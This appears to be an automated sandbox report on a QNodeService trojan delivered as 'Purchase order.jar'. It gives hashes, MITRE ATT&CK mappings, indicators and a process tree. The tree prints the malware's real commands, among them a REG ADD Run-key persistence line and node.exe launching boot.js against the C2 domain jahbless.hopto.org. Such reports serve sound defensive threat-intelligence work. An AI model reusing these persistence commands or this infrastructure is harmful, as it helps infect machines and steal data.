qnodeservice | 5824541971e764fb1c2b95f1020172f53430728078551021b6e37148d3532098

General

Target

Purchase order.jar
Size

71KB
MD5

15112dee9a2350e3e990c697cffe3be1
SHA1

b581c744c734f8d78d1b63db9c423bab23ebefae
SHA256

5824541971e764fb1c2b95f1020172f53430728078551021b6e37148d3532098
SHA512

e86e9c57a86e6634e9c4f3ec352f79a4f1af6c4ed90334a4eecd5a8418b7bab8b17c8555f53b9c82c610101dc437ce0213020410c20e61ff62955b10ae4dd433

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
388	node.exe
3916	node.exe
2376	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\d5e52f92-fe94-40e1-ac24-4e67b3a0ce75 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab55-168.dat	js
behavioral2/files/0x000100000001ab55-171.dat	js
behavioral2/files/0x000100000001ab55-175.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
388	node.exe
388	node.exe
388	node.exe
388	node.exe
3916	node.exe
3916	node.exe
3916	node.exe
3916	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe
2376	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 192	4064	java.exe	75
PID 4064 wrote to memory of 192	4064	java.exe	75
PID 192 wrote to memory of 388	192	javaw.exe	79
PID 192 wrote to memory of 388	192	javaw.exe	79
PID 388 wrote to memory of 3916	388	node.exe	81
PID 388 wrote to memory of 3916	388	node.exe	81
PID 3916 wrote to memory of 2376	3916	node.exe	82
PID 3916 wrote to memory of 2376	3916	node.exe	82
PID 2376 wrote to memory of 3864	2376	node.exe	84
PID 2376 wrote to memory of 3864	2376	node.exe	84
PID 3864 wrote to memory of 2304	3864	cmd.exe	85
PID 3864 wrote to memory of 2304	3864	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\Purchase order.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\71d9f68e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:192
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:388
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_YtbfNT\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3916
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_YtbfNT\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2376
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d5e52f92-fe94-40e1-ac24-4e67b3a0ce75" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3864
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "d5e52f92-fe94-40e1-ac24-4e67b3a0ce75" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/388-169-0x000000B3CD280000-0x000000B3CD281000-memory.dmp

Filesize
4KB

Download
memory/2376-176-0x00000114A9A00000-0x00000114A9A01000-memory.dmp

Filesize
4KB

Download
memory/3916-172-0x0000035060B80000-0x0000035060B81000-memory.dmp

Filesize
4KB

Download

Analysis

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